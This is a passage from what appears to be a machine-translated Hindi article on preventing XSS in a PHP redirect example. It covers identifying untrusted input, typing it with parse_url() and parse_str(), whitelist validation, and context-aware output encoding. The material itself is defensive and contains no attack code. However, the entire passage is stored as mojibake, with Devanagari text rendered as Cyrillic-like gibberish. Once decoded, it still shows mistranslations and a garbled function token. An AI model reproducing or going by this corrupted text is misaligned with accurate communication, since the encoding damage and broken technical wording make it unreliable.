рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ, рдКрдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХреНрдпреЛрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдореЗрдВ XSS рдХреЛ рдЦрддреНрдо рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдХрд╛рд░рдг рд╣реЛрдиреЗ рд╡рд╛рд▓реА рднреЗрджреНрдпрддрд╛, рдЬреЛ рд╣рдореЗрдВ рд╕реБрд░рдХреНрд╖рд┐рдд рдбрд╛рдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддреА рд╣реИред рдЪреВрдВрдХрд┐ рдпрд╣ рд╡рд┐рд╖рдп рдПрдХ рдЕрд▓рдЧ (рдФрд░ рдмрд▓реНрдХрд┐ рдмрдбрд╝рд╛) рд▓реЗрдЦ рдкрд░ рдЖрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рдореБрдЦреНрдп рдЪрд░рдгреЛрдВ рдХреЛ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд░реВрдВрдЧрд╛:

рдбреЗрдЯрд╛ рдЖрддреНрдорд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЙрди рд╕рднреА рдбреЗрдЯрд╛ рдзрд╛рд░рд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬрд┐рдирдХреА рдЕрдЦрдВрдбрддрд╛ рдпрд╛ рдкреНрд░рд╛рдорд╛рдгрд┐рдХрддрд╛ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдорд╛рдирд╛ рдШрдЯрдХ рдХреЗ рднреАрддрд░ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рд╣реИред рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдШрдЯрдХ, рдПрдХ рдирд┐рдпрдо рдХреЗ рд░реВрдк рдореЗрдВ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╣рдореЗрд╢рд╛ рдирд╣реАрдВ), рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдЗрд╕рдХреЗ рд╕рд░реНрд╡рд░ рдпрд╛ рдХреНрд▓рд╛рдЗрдВрдЯ рднрд╛рдЧ рдХреЗ рддрддреНрд╡, рдЬреЛ рдПрдХ рдУрдПрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдврд╛рдВрдЪреЗ рдХреЗ рднреАрддрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред

рдЙрдкрд░реЛрдХреНрдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп (рдФрд░ рдХреЗрд╡рд▓) рдбреЗрдЯрд╛ GET рдЕрдиреБрд░реЛрдз рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдпреВрдЖрд░рдПрд▓ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИред

рд╕рднреА рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛ рдЯрд╛рдЗрдк рдХрд░рдирд╛

рдШрдЯрдХ рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдбреЗрдЯрд╛ рдХреА рдШрдЯрдирд╛ рдХреЗ рд╕реНрдерд╛рди рдХреЗ рдХрд░реАрдм рд╕рдВрднрд╡ рдХреЗ рд░реВрдк рдореЗрдВ, рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдирдХреЗ рд░реВрдкрд╛рдВрддрд░рдг рдХреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╕реНрдерд┐рд░ рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ, рдпрд╣ рдПрд╣рд╕рд╛рд╕ рд╣реЛрддрд╛ рд╣реИ, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рд╕рддреНрдпрд╛рдкрд┐рдд рдбреЗрдЯрд╛ рдХреЗ рдбрд┐рд╕реЗрд░рд┐рдПрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдпрд╛ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдпрд╛ рдмрдирд╛рдиреЗ рдХреЗ рджреНрд╡рд╛рд░рд╛ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕реНрдереИрддрд┐рдХ рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рдирд┐рд░реНрдорд┐рдд рдЕрдзрд┐рдХрд╛рдВрд╢ рдЖрдзреБрдирд┐рдХ рд░реВрдкрд░реЗрдЦрд╛рдУрдВ рдореЗрдВ, рдЗрд╕ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдореЙрдбрд▓ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рддрдВрддреНрд░ рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЧрддрд┐рд╢реАрд▓ рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ, рд╕рдм рдХреБрдЫ рдХреБрдЫ рджреБрдЦрдж рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЖрдк рдХреЗрд╡рд▓ рдПрдХ рдХрд▓рд╛рдХрд╛рд░ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреЛ, рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрд┐рдП рдЬрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред рдлрд┐рд░ рднреА, рдЗрд╕ рддрд░рд╣ рдХреЗ рд╕рд╢рд░реНрдд рдЯрд╛рдЗрдкрд┐рдВрдЧ рдХреЗ рд╕рдХреНрд╖рдо рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреА рдЧрд╛рд░рдВрдЯреА рд╣реЛрдЧреА рдХрд┐ рд╣рдорд╛рд░реЗ рдШрдЯрдХ рдореЗрдВ рдареАрдХ рдЙрд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рдбреЗрдЯрд╛ рд╣реЛрдВрдЧреЗ рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдпрд╣ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдШрдЯрдХ рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЖрдЧреЗ рдХреЗ рд╕рднреА рдХрд╛рдо рдХреЗрд╡рд▓ рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдмрдирд╛рдИ рдЧрдИ рд╡рд╕реНрддреБрдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдП рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдпрд╛рдж рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЯрд╛рдЗрдкрд┐рдВрдЧ рдЪрд░рдг рдХрд╛ рдореВрд▓ рд╕рд┐рджреНрдзрд╛рдВрдд рдЕрдкрдиреЗ рдЖрдЙрдЯрдкреБрдЯ рдкрд░ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рдХрд╛рд░ рдХреА рд╡рд╕реНрддреБрдУрдВ рдХреА рд╕рдмрд╕реЗ рдЫреЛрдЯреА рд╕рдВрднрд╡ рд╕рдВрдЦреНрдпрд╛ рд╣реИред URL, рдИрдореЗрд▓ рдкрддреЗ, рджрд┐рдирд╛рдВрдХ, рд╕рдордп рдЖрджрд┐ред рдЯрд╛рдЗрдк рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЙрдиреНрд╣реЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рдХрд╛рд░ рдХреА рд╡рд╕реНрддреБрдПрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдХреЗрд╡рд▓ рдбреЗрдЯрд╛ рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реИ, рдЕрд░реНрдерд╛рддреНред рдЬрд┐рд╕рдореЗрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдордирдорд╛рдирд╛ рдкреВрд░реНрдг-рд╡рд░реНрдгрдирд╛рддреНрдордХ рдкрд╛рда рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ parse_url () рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдФрд░ рдкрд░рд┐рдгрд╛рдореА рд╕рд░рдгреА рдХреЗ рддрддреНрд╡реЛрдВ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рдЕрдВрдбрд░рд╕реНрдХреЛрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ рдЪреЗрдХ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ, рдореВрд▓ URL рдореЗрдВ рдирд┐рд╖рд┐рджреНрдз рд╡рд░реНрдгреЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ (рдХреНрд░рдорд╢рдГ, рдпрджрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╡рд░реНрдг рдкрд╛рдП рдЧрдП рдпрд╛ рдпрджрд┐ parse_url () рд╡рд╛рдкрд╕ рд▓реМрдЯ рдЖрдП, рддреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЗ рд╕рд╛рде рдкреВрд░рд╛ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред FALSE)ред рдЗрд╕ рдШрдЯрдирд╛ рдореЗрдВ рдХрд┐ рдХреНрд╡реЗрд░реА рдХреБрдВрдЬреА рдкрд░рд┐рдгрд╛рдореА рд╕рд░рдгреА рдореЗрдВ рдореМрдЬреВрдж рд╣реИ, рдпрд╣ parse_str () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдФрд░ рдЗрд╕реЗ рдкрд░рд┐рдгрд╛рдореА рд╕рд╣рдпреЛрдЧреА рд╕рд░рдгреА рдХреЗ рд╕рд╛рде рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓реЗрдВред

рд╕рднреА рдЯрд╛рдЗрдк рдХрд┐рдП рдЧрдП рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛ рдХреА рдорд╛рдиреНрдпрддрд╛

рдЯрд╛рдЗрдк рдХрд░рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж, рдШрдЯрдХ рдХрд╛рд░реНрдпрд╛рддреНрдордХ рдХреЗ рдЕрдиреБрдкрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдкреНрдд рд╡рд╕реНрддреБрдУрдВ рдХреЗ рд╢рдмреНрджрд╛рд░реНрде рдХреЛ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреВрд░реНрдгрд╛рдВрдХ рдкреНрд░рдХрд╛рд░ рдпрд╛ рджрд┐рдирд╛рдВрдХ / рд╕рдордп рдХреЗ рд▓рд┐рдП - рдпрд╣ рдПрдХ рд╕реАрдорд╛ рдХреА рдЬрд╛рдБрдЪ рд╣реЛрдЧреА (рд╢рд╛рдпрдж рд╣реА, рдирдХрд╛рд░рд╛рддреНрдордХ рдкреГрд╖реНрда рд╕рдВрдЦреНрдпрд╛ рдпрд╛ рдЗрд╕рдореЗрдВ рдзрди рд╣рд╕реНрддрд╛рдВрддрд░рдг рд░рд╛рд╢рд┐ рдХрд╛рд░реНрдпрд╛рддреНрдордХ рдХреА рдЕрдкреЗрдХреНрд╖рд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рддреА рд╣реИ), рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП, рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪ рдХрд░рдирд╛ рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрдЧрд╛ред рдФрд░ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдкреНрд░рдХрд╛рд░ рдХреА рд╡рд╕реНрддреБрдУрдВ рдХреЗ рд▓рд┐рдП, рдЗрд╕рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдХреНрд╖реЗрддреНрд░ рдФрд░ рдЧреБрдгреЛрдВ рдХреЗ рд╢рдмреНрджрд╛рд░реНрде рдЬрд╛рдВрдЪ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдХреЛрдИ рднреА рд╕рддреНрдпрд╛рдкрди рдЬрд╛рдВрдЪ рд╣рдореЗрд╢рд╛ рд╢реНрд╡реЗрдд рд╕реВрдЪреА рд╕рд┐рджреНрдзрд╛рдВрдд рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, рдЕрд░реНрдерд╛рдд рдбреЗрдЯрд╛ рд╢рдмреНрджрд╛рд░реНрде рдХреЛ рдЖрд╡рд╢реНрдпрдХ рдорд╛рдирджрдВрдбреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд рдирд╣реАрдВред рдЗрд╕ рдЪрд░рдг рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдПрдХ рдЧрд╛рд░рдВрдЯреА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдШрдЯрдХ рдХреЗ рдЕрдВрджрд░ рд╕рднреА рдбреЗрдЯрд╛ рдЗрд╕рдореЗрдВ рд▓рд╛рдЧреВ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рдЕрдиреБрд░реВрдк рд╣реЛрдВрдЧреЗ рдФрд░ рдЗрд╕рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред

рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░реЗ "рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди" рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХреЗрд╡рд▓ рдЖрдкрдХреЗ рдбреЛрдореЗрди рдХреЗ рдврд╛рдВрдЪреЗ рдХреЗ рднреАрддрд░ рд╣реА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдореЗрдВ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ parse_url () рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд рд╕рд░рдгреА рдореЗрдВ рдХреЗрд╡рд▓ рдкрде, рдХреНрд╡реЗрд░реА рдФрд░ рдЯреБрдХрдбрд╝рд╛ рдХреБрдВрдЬреА рдореМрдЬреВрдж рд╣реИрдВред рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рддреНрдпрд╛рдкрди рддреНрд░реБрдЯрд┐ рдФрд░ рдЕрдиреБрд░реЛрдз рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреА рд╕рдорд╛рдкреНрддрд┐ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрдм рддрдХ рдХрд┐ рдпреЛрдЬрдирд╛, рд╣реЛрд╕реНрдЯ рдФрд░ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбреЛрдореЗрди рдкрд░ рдЗрдВрдЧрд┐рдд рди рд╣реЛред рдПрдХ рдЕрдзрд┐рдХ рд╕рд╛рдорд╛рдиреНрдп рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реЛрдЧрд╛ рдпрджрд┐ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд░реВрдЯрд┐рдВрдЧ рддрдВрддреНрд░ рд╣рдореЗрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдореМрдЬреВрджрд╛ рдирд┐рдпрдВрддреНрд░рдХ рдХреЗ рдЕрдиреБрдкрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдкрде рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдФрд░ рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЕрдЪреНрдЫрд╛ рд╣реИ рдЕрдЧрд░ рдЖрдк рдХреНрд╡реЗрд░реА рдореЗрдВ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рднреА рдРрд╕рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЦрдВрдб рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдирд╣реАрдВ рдХрд░рдирд╛ рд╣реИ)ред

рдЖрдЙрдЯрдкреБрдЯ рд╕реНрд╡рдЪреНрдЫрддрд╛

рдЙрди рд╕рднреА рдЬрдЧрд╣реЛрдВ рдкрд░ рдЬрд╣рд╛рдВ рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рдорд╛рдиреНрдп рдФрд░ рдЯрд╛рдЗрдк рдХреА рдЧрдИ рдШрдЯрдХ рдШрдЯрдХ рд╕реАрдорд╛рдПрдВ рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВ (рдпрд╛ рдЬрд╣рд╛рдВ рдЙрдирдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЖрдЙрдЯрдкреБрдЯ рдбреЗрдЯрд╛ рдмрдирддрд╛ рд╣реИ), рдЙрдиреНрд╣реЗрдВ рдПрдХ рдРрд╕реЗ рд░реВрдк рдореЗрдВ рд▓рд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ рдкреНрд░рд╛рдкреНрдд рдкрдХреНрд╖ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред рдПрдХ рдирд┐рдпрдо рдХреЗ рд░реВрдк рдореЗрдВ, рдпрд╣ рдЙрдиреНрд╣реЗрдВ (рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ) рд╕реЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рддрддреНрд╡реЛрдВ рдХреЛ рд╣рдЯрд╛рдиреЗ рдпрд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдордХрдХреНрд╖реЛрдВ (рдкрд░рд┐рд░рдХреНрд╖рдг) рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕реНрд╡рдЪреНрдЫрддрд╛ рдХреЛ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд╣рд╛рдВ рдбреЗрдЯрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЙрдирдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрдХ HTML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдЧрдарди рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ рд╢реИрд▓реА рдкрд░рд┐рднрд╛рд╖рд╛рдУрдВ рдХреЗ рдкрд╛рда рдореЗрдВ рдЯреИрдЧ рдХреЗ рдЕрдВрджрд░, рдЯреИрдЧ рдХреЗ рдЕрдВрджрд░, рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЯреИрдЧ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЧрд┐рд░рдиреЗ рд╡рд╛рд▓реЗ рдбреЗрдЯрд╛ рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдкрд░рд┐рд░рдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реЛрдВрдЧреЗред рджреВрд╕рд░реЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ, htmlspecialchars () рдПрдХ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рд╕реНрдХреНрд░реАрдирд┐рдВрдЧ рдЯреВрд▓ рдирд╣реАрдВ рд╣реИ рдЬреЛ рд╣рдореЗрд╢рд╛ рд╣рд░ рдЬрдЧрд╣ рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрдЧрд╛ред

рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рдкрде рддрддреНрд╡реЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рддреЗ рд╕рдордп (рдпрд╛__tt_http) рд╕реЗ http рддрддреНрд╡реЛрдВ рдХреЛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП http_build_query () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд╡реЗрд░реА рдХреЗ рднрд╛рдЧ рдФрд░ url_encode () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдкрд┐рдЫрд▓реЗ рдЪрд░рдгреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╕рд╣реА URL рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред

рддрдереНрдп рдХреА рдмрд╛рдд рдХреЗ рд░реВрдк рдореЗрдВ, рдпреЗ рдирд┐рдпрдо рдЗрд╕ рд╡рд░реНрдЧ рдХреА рднреЗрджреНрдпрддрд╛ рдХреЗ рдХрд╛рд░рдг рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрд╕рдХреНрдпреВрдПрд▓ рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ , рдУрдПрд╕ рдХрдорд╛рдВрдб рдЖрджрд┐ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд▓рд┐рдПред рдпрд╣ рднреА рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдпрджреНрдпрдкрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рдбреЗрд╡рд▓рдкрд░реНрд╕ рд▓рдВрдмреЗ рд╕рдордп рд╕реЗ рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рд╕рд░реНрд╡рд░ рдХреЛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдбреЗрдЯрд╛ рдкрд░ рднрд░реЛрд╕рд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓рдЧрднрдЧ рдХреЛрдИ рдирд╣реАрдВ рд╕реЛрдЪрддрд╛ рд╣реИ рдХрд┐ рд╡рд┐рдкрд░реАрдд рднреА рд╕рдЪ рд╣реИ, рд╕рдорд╛рди рдХрд╛рд░рдгреЛрдВ рд╕реЗредрдлрд┐рд░ рднреА, рдпрджрд┐ рд╕рдВрд░рдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреНрд▓рд╛рдЗрдВрдЯ рдкрдХреНрд╖ рдкрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдпрд╣ рд╕рд░реНрд╡рд░ рдкрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╢реЛрд╖рдг рд╕реЗ рдЬреБрдбрд╝реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рд╣рдорд▓реЛрдВ рдХреЗ рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред

